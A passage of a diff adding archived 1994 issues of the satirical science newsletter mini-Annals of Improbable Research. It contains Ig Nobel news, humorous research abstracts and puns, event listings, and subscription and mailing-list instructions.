you to earn a living doing it. + +Q. Is there a third point? + +No. + +Q. Each year we present Ig Nobel prizes to people whose +achievements cannot or should not be reproduced. Who would you +nominate to win an Ig Nobel prize? + +Well of course I'd be pleased to have [Edward] Teller get a second +Ig Nobel prize so he could become listed in the Guinness Book of +Records as the person who's achieved the most Ig Nobel prizes. +[Editor's note: Edward Teller, the father of the hydrogen bomb and +the foremost proponent of the "star wars" missile defense system, +was awarded the 1991 Ig Nobel peace prize. The citation said that +Teller had "changed the meaning of peace as we know it."] + +Q. Anyone else come to mind? + +Well, let me see. In personal science, Dr. Victor Herbert I think +deserves such a prize. He was at Hahnemann and got fired because +he got in a fistfight with the dean. He - Victor Herbert - is +considered to be a great authority on vitamins, always testifying +on vitamin cases, and he was on the food and drug board that +National Academy president Frank Press fired when they brought in +their report that the RDA's [Recommended Daily Amounts] be +decreased. Then when the National Academy of Sciences had a new +committee and got out a new report, he sued them for using some +material that he had written - for plagiarism. I think that case +has been thrown out of court. + +And he in a sense is responsible for my having spent more than 20 +years in this vitamin field. He irritated me so much about 1969 +that I sat down and wrote my book "Vitamin C and the Common Cold." +Well, Victor Herbert is famous among orthomolecular nutritionists +and physicians. You expect the Food and Drug Administration to be +quoting him by just reading the reports, so they quote him as +authority for statements that I think are just not true. Mr. +Herbert seems to me to be a really good candidate. + +Q. Anybody else? + +Well, there's an anonymous referee for "Physical Review Letters" +who said that a paper that I wrote should be turned down, a paper +in which I talked about the cluster of nucleons revolving about a +central sphere. He said a structure of that sort is impossible +because quantum mechanics requires that the normal state (or any +other state) be either symmetric or antisymmetric. So I wrote to +the editor and said: "Here, this fellow doesn't understand quantum +mechanics, and you're using him as a referee! He would say that a +molecule of hydrogen chloride, for example, couldn't exist." I +didn't get any reply to that from the editor. + + +------------------------------------------------------------ +1994-04-04 AIRhead Project 2000: preliminary results + +As announced in mini-AIR 1994-02-03 (June, 1993), we are compiling +a list of studies, projects, and products that involve the number +two thousand. Randomly selected items from the list include: + +Item # 5962 (submitted by investigator Mike Sell) + Energie 2000, a project by the Swiss energy department. + +Item # 7088 (submitted by investigator Howard Frederick) + "NORDIC TELEVISION TOWARDS 2000: INTERNATIONAL AND EUROPEAN + PERSPECTIVES 1," a report from a symposium on Nordic television. + Available from the Department for Media Studies, University + of Bergin. + +Subcollection #902 (compiled by investigator A. Padgett Peterson) + Shell Gasoline X2000 + BMW 2000(A) + Pontiac J-2000 + Capri RS2000 + M&M candies. + [NOTE: Peterson is unsure whether Mickey Mouse (MM) qualifies.] + +Item #12906 (submitted by investigator Bob Sanders) + Project Sequoia 2000 started up in 1991 as a joint effort + by the University of California and Digital Equipment Corp + +Notation #9D (analysis by investigator Dale Murphy) + The federal government documents referring to the year 2000 + as a DATE, contract the date to 00, or double zero, or twice + nothing, or however that should be read. + I.e.: The expiration dates of passports issued in "90" + carry as an expiration date of "00." + +Item #1381 (submitted by investigator Mark Hahn) + INFORMATION 2000: a conference to be held at + the University of North Texas. + "Join us in Denton, Texas for Information 2000: An + Interdisciplinary Future which promises to be an + outstandingopportunity to interact with present and + future leaders in the information industry." + +Item #3905 (submitted by investigator Angie.Johnson) + New Life 2000, a program initiated by Campus Crusade for Christ + +Item #5959 + Project 3000 by 2000, an initiative by The Association of + American Medical Colleges (AAMC) to increase minority + representatin in medical schools to 3000 by the year 2000. + +Subcollection #1225 + Gateway 2000 computers + +Item # 6391 (submitted by investigator Nigel Birch) + "Software 2000: A View of the Future," the output of a forum + sponsored by ICL and the Commission of the European Communities. + + +----------------------------------------------------------- +1994-04-05 Specimen of the Month + +An item of interest, selected randomly from the MIT Museum's +collection of Hacks, Tomfoolery & Pranks. (The taxonomic and +analytical text has been prepared by Emmert Lowery, Jr.) + +ITEM #344-521-1700-9 +This home-made electronic dvice, powered by a 9-volt battery, was +used by an MIT student to control the movable chalkboards in his +classroom from his seat. + + +----------------------------------------------------------- +1994-04-06 May We Recommend... + +Research reports that merit a trip to the library: + +"The Dielectric Properties of Meat" by B. Bodakian and F. X. Hart, +"IEEE Transactions on Dielectrics and Electrical Insulation", Vol. +1, No 2, April 1994. The abstract reads in part: "The +permittivity and conductivity of beef and chicken samples were +measured in the frequency range of 1 Hz to 1 MHz. Differences were +observed in these dielectric spectra for commercially purchased, +as compared to freshly slaughtered samples." (Thanks to Anders +Larsson for bringing this and the next citation to our attention.) + +"A Classification of Pure Malt Scotch Whiskies" by F. J. Lapointe +and P. Legendre, "Applied Statistics", Vol. 43, No 1, pp. 237-257, +1994. The authors introduce their study thusly: "Single malts are +well known by amateurs to differ widely in nose, colour, body, +palate and finish. The layman interested in discovering the +diversity of these tasting sensations may wonder how to approach +the problem: what are the main types of single-malt Scotches, and +in what way do they differ? This is the type of question that came +to us after acquainting ourselves with single-malt whiskies during +and after the 3rd Conference of the International Federation of +Classification Societies held at Heriot-Watt University in +Edingburgh, Scotland, in August 1991." + +(We welcome your suggestions for this column. Please include full +citations. If possible, please send us a photocopy of the paper.) + + +----------------------------------------------------------- +1994-04-07 Upcoming Events + + +MENSA OF NEW HAMPSHIRE Sunday, Sept 11, 5:30 + For info: Judy Swank + w: 508-777-2460 h:603-888-9114 + +MIT ALUMNI/AE CLUB OF LONG ISLAND date TBA + +U RHODE ISLAND, Kingston Sept 30, 3 pm + Pastore Hall Auditorium (Chemistry Dept.) + Spons. by URI Sigma Xi and URI Dept. of Chemistry + For info: Prof. Louis J. Kirschenbaum + kirschenbaum@chm.uri.edu 401-792-2340 + +IG NOBEL TICKETS go on sale Thurs., Sept. 15, 10:00 am. +Tickets for this year's ceremony go on sale at 10:00 am. sharp at the +MIT Museum Shop in The MIT Student Center. The price is $2 per ticket. +There will be a strict limit of five (5) tickets per person. We have +been asked to remind you that scalping is illegal in the Commonwealth of +Massachusetts. + +HISTORY OF THE IG -- a rambling seminar Fri., Sept. 16, 3 pm. +A seminar explaining and obfuscating the achievements of past Ig Nobel +Prizewinners. Takes place at the MIT Museum, 265 Massachusetts Ave., +Cambridge, MA. For info telephone (617) 253-4444 + +1994 IG NOBEL PRIZE CEREMONY Thurs. evening, Oct. 6 +Kresge Auditorium, MIT, Cambridge, Massachusetts. You are +cordially invited to attend. Lab coats an other ceramonial +regalia are recommended but by no means required. This year +underwear, too, is optional. + +POST-CEREMONY LIVE IG RADIO Fri. afternoon, Oct. 7 +National Public Radio's "Talk of the Nation/Science Friday" will +broadcast an hour of live interviews with Ig Nobel Laureates, +Nobel Laureates, and hecklers who participated in the previous +night's ceremony. Check your local NPR station for broadcast time. + +GODDARD SPACE CENTER, Greenbelt, MD Fri., Oct. 28 + +MENSA CONVENTION, Chicago, IL Sat., Oct. 29 + For info: Dianne Miller, (708) 747-5651 + +SCIENCE FRIDAY IG BROADCAST Fri., Nov. 25 +"Talk of the Nation/Science Friday" will broadcast a (nearly) +complete recording of this year's Ig Nobel Prize Ceremony. Check +your local NPR station for broadcast time. + +INTERSOCIETY POLYMER SOCIETY Mon., October 10, 1995 +Stouffer Harborplace Hotel, Baltimore, MD +The society recommends early reservations. Info: (518) 387-7942 + +*** + +In honor (?) of the book, "Sex As a Heap of Malfunctioning +Rubble," Marc Abrahams, editor, (Workman Publishing, ISBN 1-56305- +312-8), containing outstanding work previously produced by +AIRheads and their collaborators, the books's editor and many of +its other authors are barnstorming North America, doing +readings/slide shows and presenting current trends in improbable +research. If you would like to be a host/instigator for an +Improbable Science Event at your city, university, hospital, +research center, high school, book store, etc., ASAP please +contact the editor. + + +------------------------------------------ +1994-04-08 Calls for Papers + +CALL FOR PAPERS concerning research on the effectiveness of (a) +soda pop, (b) Gatorade, or (c) Skin-So-Soft lotion as +microbiological culture growth media. Please include and specific +detailed results and b/w photos. + +CALL FOR SLIDES AND X-RAYS that show unexpected shapes (swans, +chickens, elephants, the Eiffel Tower, dogs, fish, smiley faces, +ships, trains, Bart Simpson, Margaret Thatcher, etc., etc.). The +most outstanding of these will appear on the cover of AIR. + +CALL FOR NOMINATIONS for the 1994 Ig Nobel Prizes. Ig Nobel Prizes +are awarded for achievements that cannot or should not be +reproduced. Nominations may be submitted, anonymously or +otherwise, by e-mail or by standard mail. + + +****************************************************************** +1994-04-9 Purpose of mini-AIR (*) + +The mini-Annals of Improbable Research (mini-AIR) publishes news +about improbable research and ideas. Specifically: + +A) Haphazardly selected superficial (but advanced!) extracts of +research news and satire from The Annals of Improbable Research. + +B) News about the annual Ig Nobel Prize ceremony. + +C) News about other science humor activities intentional and +otherwise. + +WHAT IS AIR? (An introduction, of sorts) +AIR is a new magazine produced by the entire former editorial +staff (1955-1994) of "The Journal of Irreproducible Results +(JIR)," the world's oldest satirical science journal. The new +magazine's co-founders are Marc Abrahams, who edited JIR from +1990-1994, and Alexander Kohn, who founded JIR in 1955 and was its +editor until 1989. AIR is published by the MIT Museum in +Cambridge, MA. The editorial board consists of more than 40 +distinguished scientists from around the world including seven +Nobel Laureates. EAch October, AIR and the MIT Museum produce the +Ig Nobel Prize Ceremony, honoring people whose achievements cannot +or should not be reproduced. + + +---------------------------------------- +1994-04-10 How to Submit Articles (*) + +The Annals of Improbable Research (AIR) publishes original +articles, data, effluvia and news of improbable research. The +material is intended to be humorous and/or educational, and +sometimes is. We look forward to receiving your manuscripts, +photographs, X-rays, drawings, etc. Please do not send biological +samples. Photos should be black & white if possible. Reports of +research RESULTS, modest or otherwise, are preferred to +speculative proposals. + +Articles are typically 500-2000 words in length. +Articles intended for mini-AIR should be much shorter. +Please send two neatly printed copies. +Alternatively, you may submit via e-mail, in ASCII format. + +Because of the volume of submissions, we are unable to acknowledge +receipt of printed manuscripts unless they are accompanied by a +SELF-ADDRESSED, ADEQUATELY STAMPED ENVELOPE. + + +--------------------------- +1994-04-11 How to Subscribe to AIR(*) + +Catch up on things you need to know: +The Taxonomy of Barney * A Natural History of the Articulated Lorry * +Effectiveness of Chinese Fortune Cookies * A Review of the Nairobi +Telephone Directory * The Aerodynamics of Potato Chips * The Ig +Nobel Prize Ceremony * Scientific Gossip * Nobel Thoughts (offbeat +interviews with Nobel Laureates) * Elegant Results (reviews of +cosmetics ads) * Hot Air (exhalations from our readers) * X-Rays of +the Rich and Famous * and then some! + +The first issue of AIR will appear in December, 1994. Join us as +a subscriber, and as a collaborator! + + =========================================================== + =========================================================== +Please send a subscription to The Annals of Improbable Research +for a period of (check one): + ___ 1 year (six issues) ___ 2 years (twelve issues) + +Name: +Addr: +Addr: +City: State: ZIP: +Country: +Phone (voice): FAX: +Email address: + +Payment method: + ___ Mastercard ___ Visa ___ American Express + Card #: Exp. date: + (If you prefer not to send your credit card number + via email, please fax, phone or mail in your order.) + + ___Check (drawn on US bank) or int'l money order is + enclosed. + +___ This is a gift from: + + Name: + Addr: + Addr: + City: State: ZIP: + Country: + Phone (voice): FAX: + Email address: + ___Send renewal notice to me. + ___Send renewal notice to my beneficiary. + +Rates (in US dollars) +USA 1 year - $19.95 2 years - $34.95 +Canada/Mexico 1 year - $27 2 years - $45 +Overseas 1 year - $40 2 years - $70 + +Total payment enclosed: + +Send payment to the Annals of Improbable Research (AIR), via + +Email: air-subs@mit.edu + +FAX: (617) 253-8994 + +Mail: The MIT Museum + 265 Massachusetts Ave., Cambridge, MA 02139 USA + +Phone: (617) 253-4462 + + =========================================================== + =========================================================== + +--------------------------- +1994-04-12 How to Receive to mini-AIR, etc.(*) + +mini-AIR is an electronic publication, available over the +Internet, free of charge. It is distributed as a LISTSERV +application. We publish approximately 12 issues per year. +To subscribe, send a brief E-mail message to either of these +addresses: + LISTSERV@MITVMA.MIT.EDU or LISTSERV@MITVMA +The body of your message should contain ONLY the words "SUBSCRIBE +MINI-AIR" followed by your name. +Here are two examples: + SUBSCRIBE MINI-AIR Irene Curie Joliot + SUBSCRIBE MINI-AIR Nicholai Lobachevsky +To stop subscribing, +send the following message to the same address: + SIGNOFF MINI-AIR +To obtain a list of back issues, +send this message: + INDEX MINI-AIR +To retrieve a particular back issue, +send a message specifying which issue you want. +For example, to retrieve issue 94-00001,send this message: + GET MINI-AIR 94-00001 + +To obtain a somewhat complete list of gopher sites that maintain +mini-AIR, email us a request. + + +::::: AIR extracts are on USENET + +The USENET news group clari.feature.imprb_research presents a +syndicated weekly column of reports extracted from The Annals of +Improbable Research. The material presented there is different +from what appears here in mini-AIR. +[Please note: The news group is available to you if and only if +your Internet site subscribes to the Clarinet newsgroups.] + + +--------------------------- +1994-04-13 AIR's Mailing and Internet Addresses + +Our mailing address: + + The Annals of Improbable Research (AIR) + The MIT Museum + 265 Massachusetts Ave., Cambridge, MA 02139 USA + (617) 253-4462 fax: (617)253-8994 + + Editorial matters: (617) 253-8329 + + PLEASE include your Internet address + in all printed correspondence. + +Our Internet addresses: + + Editorial matters: air@mit.edu + Ig Nobel matters: ig@mit.edu + +--------------------------- +1994-04-14 Please make copies! (*) + +We urge you to distribute copies of mini-AIR or excerpts from it. +The only limitations are: +A) Please indicate that the material appeared in mini-AIR and is +reprinted with permission. +B) You do NOT have permission to copy or excerpt this document for +commercial purposes. + + ------------------------------------------------------------ + (c) copyright 1994, The Annals of Improbable Research + ------------------------------------------------------------ + The mini-Annals of Improbable Research (mini-AIR) + Editor: Marc Abrahams (marca@mit.edu) + Chairman of the Editorial Board: Alexander Kohn + Sports Desk & Technical Support: Christopher Small + (chris@das.harvard.edu) + Associate Editors: Mark Dionne, Stanley Eigen, Jane Patrick + Technical Difficulties: Diego Garcia, Francesca Thurston + Authority Figure: Barbara Linden + + ============================================================ + IMPORTANT -- The Annals of Improbable Research is IN NO WAY + associated with the name "The Journal of Irreproducible + Results" or with the publisher of "The Journal of + Irreproducible Results" + ============================================================ diff --git a/textfiles.com/magazines/MINIAIR/mair9408.txt b/textfiles.com/magazines/MINIAIR/mair9408.txt new file mode 100644 index 00000000..b602af93 --- /dev/null +++ b/textfiles.com/magazines/MINIAIR/mair9408.txt @@ -0,0 +1,546 @@ +-=========================================================== +The mini-Annals of Improbable Research ("mini-AIR") +Issue Number 1994-08 +December, 1994 +ISSN 1076-500X +Key words: science,humor,improbable research,Ig Nobel +------------------------------------------------------------ +The mini-journal of inflated research and personalities +published by The Annals of Improbable Research (AIR) +at The MIT Museum +-=========================================================== + +----------------------------- +1994-08-01 TABLE OF CONTENTS + +1994-08-01 Table of Contents +1994-08-02 AIRhead News Flashes and Flushes +1994-08-03 Sad News: Alex Kohn Has Passed Away +1994-08-04 Vos Savant Slated to Sip Soup at Ceremony +1994-08-05 Robin Leach / Rich & Famous / Food +1994-08-05 AIRhead Time Caplet: Contest Winners +1994-08-06 Further Selected Abstracts from AIR vol. 1, no. 1 +1994-08-07 AIRhead Project 2000: preliminary results +1994-08-08 Ancient Rocketry? +1994-08-09 May We Recommend... +1994-08-10 Musical Advice to Christmas Shoppers +1994-08-11 Slide Rule Surprise +1994-08-12 AIRhead Events +1994-08-13 Calls for Papers +1994-08-14 What is AIR? (*) +1994-08-15 How to Subscribe to AIR(*) +1994-08-16 How to Receive to mini-AIR, etc.(*) +1994-08-17 AIR's Mailing and Internet Addresses (*) +1994-08-18 Please DO make copies! (*) + + Items marked (*) are reprinted in every issue. + + +------------------------------------------------------------ +1994-08-02 AIRhead News Flashes and Flushes + +1. In the November issue we reported that many readers had pointed +out that the October issue of mini-AIR was mistakenly dated 1894 +rather than 1894. We apologize for acknowledging our mistake. + +2. Time Caplet Update +A time caplet was buried in 1914 by followers of Constant Desiree +Despradelle (1862-1912). The time caplet was coated with a special +anti-aging cream. On December 14, 1994, five Nobel Laureates and +their acolytes will unearth & rebury the time caplet. The event +is growing in scale, pomp and verisimilitude (see section 1994-08- +04, 1994-08-05, and 1994-08-06 below for details). This gala no- +questions-asked occurrence will mar the publication of the first +issue of AIR. A copy of this valued Collectible Issue will appear +in your home or that of a loved one within the next few weeks, +provided that you have remembered to send in your subscription. +(See section 1994-08-16 below for details). + +C. AIR home page is still coming +Our World Wide Web home page is patently pending. Our Global +Village Idiot, Amy Gorin, assures us that January will be the +month when we reveal this home page. It will contain, among other +data, an X-ray image from our research project on "The Taxonomy of +Barney." Details will be announced. + +5. We have nearly completed construction of the official MIT +Museum Public High-Vacuum Toilet Facility (there are only three +public restrooms in Cambridge). It features six opto-electronic +multimedia functions, including a data bank of 250 tatoos. The +number will be increased as soon as the Internet drop is +installed. Please stop by and try it. + +6. Acting on a tip from a reader in Hong Kong, we have obtained a +cache of slide rules. (See section 1994-08-12 below for details.) + + +------------------------------------------------------------ +1994-08-03 Sad News: Alexander Kohn Has Passed Away + +Last week Alexander Kohn died. Alex was the co-founder and +editorial board chairman of AIR. In 1955, together with Harry +Lipkin, he founded The Journal of Irreproducible Results, of which +he was editor until 1989, and editor emeritus until this year, +when we all left that magazine to create AIR. By day, Alex was an +eminent virologist at Tel Aviv Medical School. By evening, he was +a scholar of the history of scientific fraud. At night, often in +the guise of Dr. X. Perry Mental, Alex produced some of the +funniest and most literate commentaries, parodies and satires ever +written. In coming months, AIR will reprint some of Alex's (and +X.P. Mental's) best articles. Alex was loved and admired by many +people in many places. Anyone who has read his work, and +especially those of us who were lucky enough to know him +personally, will miss Alex terribly. + -- Marc Abrahams + + +------------------------------------------------------------ +1994-08-04 Vos Savant Slated to Sip Soup at Ceremony + +AIR editorial board member Marilyn Vos Savant, possessor of the +world's highest IQ, will be present at the ceremony, eating soup. +At the conclusion of the ceremony, Ms. Vos Savant will hand out +crackers to all audience members who desire them. + + +------------------------------------------------------------ +1994-08-05 Robin Leach / Rich & Famous / Food + +Robin Leach, host of the noted science television programs +"Lifestyles of the Rich & Famous" and "Robin Leach Talking Food," +has created and sent us a special videotape (duration: 43 seconds) +and two other items for entombment in the Time Caplet. We do not +know why. + + +------------------------------------------------------------ +1994-08-06 AIRhead Time Caplet Contest Winners, etc. + +CAPLET CONTEST WINNERS +Our contest was to determine "What/who should be placed into the +time caplet when we re-bury it?" A frighteningly large number of +readers felt compelled to submit entries. Winners will receive +nothing, because this contest was devised by AIRheads. However, +their names and winning entries will be included in the AIR home +page; space does not permit its inclusion here. One of the +winning items, submitted by reader Donald Turnblade, represents +the Internet: it is a half naked Barbie doll with fiber optic +cables instead of doll hair. + +RESEARCH MINI-PRESENTATIONS +Several pieces of outstanding improbable research will be mini- +presented at the event: + "Politically Correct Cardiology." + "QI of IQ: A Quantum Interpretation of the Intelligence + Quotient." + "The Taxonomy of Barney" + +ATTENDING THE EVENT +The event will take place at the MIT Museum, on Wednesday, +December 14, at 6:30 pm. For details on attending the event, see +section 1994-08-13.) + + +------------------------------------------------------------ +1994-08-07 Further Selected Abstracts from AIR vol. 1, no. 1 + +Following are further selected abstracts from vol. 1, no. 1, of +The Annals of Improbable Research (AIR). For full details, +including lurid photographs and data, see the issue itself. + +"The Paradigm Paradox," Bill Schweber. +The word "paradox" has appeared frequently in the standard +literature since its use in a 1965 book by Thomas Kuhn. +Occurrences are tracked year by year, and presented in chart form. +Literature citations of the word (known as "citings of sightings") +have decreased by 75% during the past year. + +"Einstein's Shoes" (poem), by Heather Rypkema. +"I would not live in Einstein's Shoes, despite his noted name./ +For as I walked, each shoe would move in someone else's reference +frame..." The author pursues this thought and reaches a logical +conclusion. + +Sleep Research Update (who is sleeping with whom in the lab) + +Scheduled UFO Appearances + +"The Pop-Up Medical Thermometer," by Stephen Drew. +The pop-up medical thermometer is inserted into the skin or into +existing body apertures. The inner cylinder pops up when the +patient's fever subsides, indicating that it is time for the +patient to go home. The technology was originally developed for +the poultry industry. This is its first application to +biomedicine. [Includes photo] + +"Book Review: The Nairobi Telephone Directory," by Tim Healey. +This reference work has been deliberately constructed so as to +encourage the contemplative life. Some, but by no means all, names +are listed by forename rather than surname. Alphabetical order is +enhanced in new ways (A,B,C,D,E,S,E,M,E,F,G,...). The Classified +Section headings invoke long chains of "see also" references, +often ending with nonexistent sections. + + +------------------------------------------------------------ +1994-08-08 AIRhead Project 2000: preliminary results + +As announced in mini-AIR 1994-02-03 (June, 1993), we are compiling +a list of studies, projects, and products that involve the number +two thousand. Randomly selected items from the list include: + +ITEM #0000A-71 (submitted by investigator Dave Bell) + Infantryman AD 2000. "Jane's Military Review" reports + that: "as visualised by Scicon Computer Systems, he would + be armed with a two-shot vertical-launch missile system and + a twin-barrel personal defence weapon." + +COLLECTION #309 (submitted by investigators Earle Spamer and + Richard Clark): + ITEM #SC908 "Wildlife 2000," edited by Jared Verner, + Michael L. Morrison, C. John Ralph, University of + Wisconsin Press. + ITEM #SC909 "Sky Catalogue 2000.0, Vols. 1 and 2," by + Hirshfeld and Sinnott, Cambridge University Press + and Sky Publishing Corporation. + ITEM #SC9902 "Sky Atlas 2000.0," by Wil Tirion, Sky + Publishing Corporation. + ITEM #SC4192 "Norton's Star Atlas 2000." + ITEM #SC4189 "Uranometria 2000.0, Vols. 1 and 2," by Tirion, + Rappaport and Lovi. + +ITEM #26 (Submitted by Investigator Roger H. Goun) + Shopping2000, by ContentWare. "The largest audio + and graphically enriched electronic mall as Internet + shopping content." + + +----------------------------------------------------------- +1994-08-09 Ancient Rocketry? + +Dervishes Not the Only Scientific Pioneers in Turkey + +by Bill Higgins +Fermi National Accelerator Laboratory, Batavia, IL + +mini-AIR 1994-07 (Nov. 94) mentioned[1] a Turkish scholar[3] named +Dr. Celaddin B. Celebi, who explained the significance to physics +of the Whirling Dervishes: "Contemporary science definitely +confirms that the fundamental condition of our existence is to +revolve." His name rang a bell, so I went scampering for my +history references. Could he be a relative of a seventeenth- +century commentator, Evilya Chelebi? + +An issue of "Aerospace Historian" (Fall/September 1988) had +"Birdmen of the Middle East: Early Attempts at Human Flight," by +Gary Leiser, a USAF historian specializing in Islamic history. +Leiser quotes, and so will I, from a seventeenth-century account +by Evilya Chelebi. This supposedly happened around 1633 in +Istanbul. (Native speakers, please pardon my slaughter of the +transliterations!) + +"This Lagari Hasan had fabricated a seven-cylinder rocket using 50 +okkas [about 64 kg] of gunpowder compound. When the Sultan was at +Saray Point, he got on the rocket and his apprentices lit the fuse +of the rocket. Saying, 'My Sultan, I have recommended you to God. +I am going to speak with the Prophet Jesus,' and, praising and +glorifying God, he made his ascent to the highest heaven... At the +roof of the heavens, the powder of the great rocket was exhausted +and when it descended toward the earth, he opened the eagle wings +that he had in his hands and landed in the water in front of the +mansion of Sinan Pasha. He swam from there and came naked to the +Sultan. He kissed the ground and began to joke, saying. 'My +Sultan, the Prophet Jesus sends you his regards.'" + +Leiser doesn't believe a word of this, but he says, "Evilya's +account does show that the Turks had the ability to make large +rockets, that some Turks had contemplated human flight by means of +rockets as early as the seventeenth century, and that they may +have even experimented with such a flight." + + +EDITOR'S NOTE: + +1. One incensed reader[2] sent us a letter objecting, in highly +colorful, ethnically oriented language, to the original report, +which was a verbatim quotation from a Turkish ethnomusicologist. +This reader informed us that we should not identify any reports +concerning improbable research from Turkey as being from Turkey. + +2. No pun intended. + +3. We were unable to identify the nationality of this researcher. + + +----------------------------------------------------------- +1994-08-10 May We Recommend... + +Research reports that merit a trip to the library: + +"Three cases of disputed paternity in dogs resolved by the use of +DNA fingerprinting," I.F. Hermans, J Atkinson, JF Hamilton and GK +Chambers, "New Zealand Veterinary Journal," vol 39, no. 2, pp. 61- +64. (Thanks to Doug Freckelton for bringing this to our +attention.) + +"The Orthogonal-Random Waveform Dichotomy for Digital Personal +Communications," Andrew J. Viterbi, "IEEE Personal +Communications," vol 1, no 1, Q1, 94, pp. 18-24. (Thanks to Pat +O'Leary for bringing this to our attention.) + +"Energy of the Closed Universe With Respect to the Gas of Clocks," +by N.N. Gorobey and A.S. Lukyanenko, "Classical and Quantum +Gravity," vol. 10, no. 10, 1993, pp. 2107-2110. (Thanks to Scott +Osborne for bringing this to our attention.) + +(We welcome your suggestions for this column. Please include full +citations. If possible, please send us a photocopy of the paper.) + + +----------------------------------------------------------- +1994-08-11 Musical Advice to Christmas Shoppers[1] + +by Harry Lipkin +Weizmann Institute, Rehovot, Israel + +Make out your Chopin Liszt early before Debussy season, when you +have time to check out Verdi good bargains are, can still get +gifts Faure good price, not have to Handel large crowds and have +time to give Bach thins you decide you don't want. + +NOTE + +1. No pun not intended. + + +----------------------------------------------------------- +1994-08-12 Slide Rule Surprise + +We have obtained a stash of genuine 12" slide rules. They are +logarithmic in nature. They can be ordered via email +(mitshop@mit.edu) or telephone (617-253-4462). The price is +$19.95 plus $4.50 shipping/handling. The primary use of this +instrument is to produce the following speech from your father, +the engineer: + "When I was your age, we didn't have one of them fancy-ass + computers, we had to do all the calculations by hand, and + I'll bet you don't even know what the square root of 369.72 is, + but I can find it using this here stick, you see, now how was + it these things worked anyway, you are supposed to line up, uh, + something and something else, uh, well, we were real engineers + back then, I tell you." +Don't say you weren't warned. + + +----------------------------------------------------------- +1994-08-13 AIRhead Events + +AIRhead TIME CAPLET UNEARTHING/BURIAL Wed., Dec 14, 6:30-7:45 +The event will take place at the MIT Museum. +A VERY limited number of tickets (they are free!) will be +available at the Student Center Museum shop ONLY the week of the +event ONLY ONLY ONLY. + +SCIENCE WRITERS OF NY (SWINY) Thurs, Feb. 2, 6:30 +New York Academy of Science, 2 E. 63rd St., NYC + +SCIENCE DISCOVERY MUSEUM, Acton MA Tues Feb. 7, 3:30-4:30 +A hyperinteractive presentation for kids and other scientists. +Info:617-264-4200 + +NEW ENGLAND SCIENCE FICTION ASSOCIATION Feb. 17-19 +Sheraton Tara, Framingham, MA + +MENSA OF CENTRAL NJ Sat., Mar 4, 1995, 7:30 +Sheraton, Woodbridge, NJ +Info: 908-297-5492 matray@watson.bms.com + +INTERSOCIETY POLYMER SOCIETY October 10, 1995 +Stouffer Harborplace Hotel, Baltimore, MD +The society recommends early reservations. Info: (518) 387-7942 + +*** If you would like to host an Improbable Research Event +*** at your conference, university, research center, company, +*** hospital, high school, or scenic mountain vacation home, +*** please get in touch with us. + + +------------------------------------------ +1994-08-14 Calls for Papers + +CALL FOR PAPERS on the topic: "Chocolate Research." Reports of +your research RESULTS are preferred to speculative essays. + +CALL FOR NOMINATIONS for the 1995 Ig Nobel Prizes. Ig Nobel Prizes +are awarded for achievements that cannot or should not be +reproduced. Nominations may be submitted, anonymously or +otherwise, by e-mail or by standard mail. + + +****************************************************************** +1994-08-15 WHAT IS AIR? (*) + +AIR is a new magazine produced by the entire former editorial +staff (1955-1994) of "The Journal of Irreproducible Results +(JIR)". The new magazine's co-founders are Marc Abrahams, who +edited JIR from 1990-1994, and Alexander Kohn, who founded JIR in +1955 and was its editor until 1989. AIR is published by the MIT +Museum in Cambridge, MA. The editorial board consists of more +than 40 distinguished scientists from around the world including +seven Nobel Laureates. Each October, AIR and the MIT Museum +produce the Ig Nobel Prize Ceremony, honoring people whose +achievements cannot or should not be reproduced. + + +--------------------------- +1994-08-16 How to Subscribe to AIR(*) + +Stay way ahead of what you need to know: +The Taxonomy of Barney * A Natural History of the Articulated +Lorry * Effectiveness of Chinese Fortune Cookies * A Review of +the Nairobi Telephone Directory * The Aerodynamics of Potato +Chips * The Ig Nobel Prize Ceremony * Scientific Gossip * +Nobel Thoughts (offbeat interviews with Nobel Laureates) * +Elegant Results (reviews of cosmetics ads) * Hot Air +(exhalations from our readers) * X-Rays of the Rich and Famous * +and then some! + +The first issue of AIR will appear in December, 1994. Join us as +a subscriber, and as a collaborator! + + =========================================================== + =========================================================== +Please send a subscription to The Annals of Improbable Research +for a period of (check one): + ___ 1 year (six issues) ___ 2 years (twelve issues) + +Name: +Addr: +Addr: +City: State: ZIP: +Country: +Phone (voice): FAX: +Email address: + +Payment method: + ___ Mastercard ___ Visa ___ American Express + Card #: Exp. date: + (If you prefer not to send your credit card number + via email, please fax, phone or mail in your order.) + + ___Check (drawn on US bank) or int'l money order is + enclosed. + +___ This is a gift from: + + Name: + Addr: + Addr: + City: State: ZIP: + Country: + Phone (voice): FAX: + Email address: + ___Send renewal notice to me. + ___Send renewal notice to my beneficiary. + +Rates (in US dollars) +USA 1 year - $19.95 2 years - $34.95 +Canada/Mexico 1 year - $27 2 years - $45 +Overseas 1 year - $40 2 years - $70 + +Total payment enclosed: + +Send payment to the Annals of Improbable Research (AIR), via + +Email: mitshop@mit.edu + +FAX: (617) 253-8994 + +Mail: The MIT Museum + 265 Massachusetts Ave., Cambridge, MA 02139 USA + +Phone: (617) 253-4462 + + +--------------------------- +1994-08-17 How to Receive to mini-AIR, etc.(*) + +mini-AIR is an electronic publication, available over the +Internet, free of charge. It is distributed as a LISTSERV +application. We publish approximately 12 issues per year. +To subscribe, send a brief E-mail message to either of these +addresses: + LISTSERV@MITVMA.MIT.EDU or LISTSERV@MITVMA +The body of your message should contain ONLY the words "SUBSCRIBE +MINI-AIR" followed by your name. +Here are two examples: + SUBSCRIBE MINI-AIR Irene Curie Joliot + SUBSCRIBE MINI-AIR Nicholai Lobachevsky +To stop subscribing, +send the following message to the same address: + SIGNOFF MINI-AIR +To obtain a list of back issues, +send this message: + INDEX MINI-AIR +To retrieve a particular back issue, +send a message specifying which issue you want. +For example, to retrieve issue 94-00006,send this message: + GET MINI-AIR 94-00006 + +To obtain a somewhat complete list of gopher sites that maintain +mini-AIR, email us a request. + + +::::: AIR extracts on USENET + +The USENET news group clari.feature.imprb_research presents a +syndicated weekly column of reports extracted from The Annals of +Improbable Research. The material presented there is different +from what appears here in mini-AIR. [Please note: The newsgroup is +available to you if and only if your Internet site subscribes to +the Clarinet newsgroups.] + + +--------------------------- +1994-08-18 AIR's Mailing and Internet Addresses + +The Annals of Improbable Research (AIR) +The MIT Museum +265 Massachusetts Ave., Cambridge, MA 02139 USA + +Subscriptions: (617) 253-4462 fax:(617)253-8994 mitshop@mit.edu +Editorial: 617) 253-8329 air@mit.edu + +PLEASE include your Internet address +in all printed correspondence. + + +--------------------------- +1994-08-19 Please make copies! (*) + +We urge you to distribute copies of mini-AIR or excerpts from it. +The only limitations 